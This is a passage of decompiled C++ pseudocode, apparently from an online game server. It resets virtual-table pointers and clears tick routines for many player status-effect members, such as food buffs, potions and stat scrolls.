v1->asl_FOODTYPEA12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA12.astr_Tick); v1->asl_FOODTYPEA12.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA11.astr_Tick); v1->asl_FOODTYPEA11.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA10.astr_Tick); v1->asl_FOODTYPEA10.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA09.astr_Tick); v1->asl_FOODTYPEA09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA08.astr_Tick); v1->asl_FOODTYPEA08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA07.astr_Tick); v1->asl_FOODTYPEA07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA06.astr_Tick); v1->asl_FOODTYPEA06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA05.astr_Tick); v1->asl_FOODTYPEA05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA04.astr_Tick); v1->asl_FOODTYPEA04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA03.astr_Tick); v1->asl_FOODTYPEA03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA02.astr_Tick); v1->asl_FOODTYPEA02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA01.astr_Tick); v1->asl_FOODTYPEA01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODTYPEA00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODTYPEA00.astr_Tick); v1->asl_FOODTYPEA00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP09.astr_Tick); v1->asl_FOODSP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP08.astr_Tick); v1->asl_FOODSP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP07.astr_Tick); v1->asl_FOODSP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP06.astr_Tick); v1->asl_FOODSP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP05.astr_Tick); v1->asl_FOODSP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP04.astr_Tick); v1->asl_FOODSP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP03.astr_Tick); v1->asl_FOODSP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP02.astr_Tick); v1->asl_FOODSP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP01.astr_Tick); v1->asl_FOODSP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODSP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODSP00.astr_Tick); v1->asl_FOODSP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP09.astr_Tick); v1->asl_FOODHP09.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP08.astr_Tick); v1->asl_FOODHP08.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP07.astr_Tick); v1->asl_FOODHP07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP06.astr_Tick); v1->asl_FOODHP06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP05.astr_Tick); v1->asl_FOODHP05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP04.astr_Tick); v1->asl_FOODHP04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP03.astr_Tick); v1->asl_FOODHP03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP02.astr_Tick); v1->asl_FOODHP02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP01.astr_Tick); v1->asl_FOODHP01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_FOODHP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_FOODHP00.astr_Tick); v1->asl_FOODHP00.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_KEEPFROMCHAT.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_IMMORTAL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_QUESTENTANGLE2.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_QUESTENTANGLE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_OBSERVERHIDEMODE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_GMHIDEMODE.baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION07.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION06.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION05.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION04.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION03.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION02.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_RAMAPOTION01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_ALLCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCURRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWDSSRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWPSNRESIPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMSSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWACMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWDEXSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWSTRCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMAXSPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMAXHPSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWCRISCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWACSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWMRSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWTBSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_NORTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_LOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTLOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTLOWTHSCROLL.astr_Tick); v1->asl_BESTLOWTHSCROLL.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_BESTHIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_BESTHIGHCONSPPOTION.astr_Tick); v1->asl_BESTHIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HIGHCONSPPOTION.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl 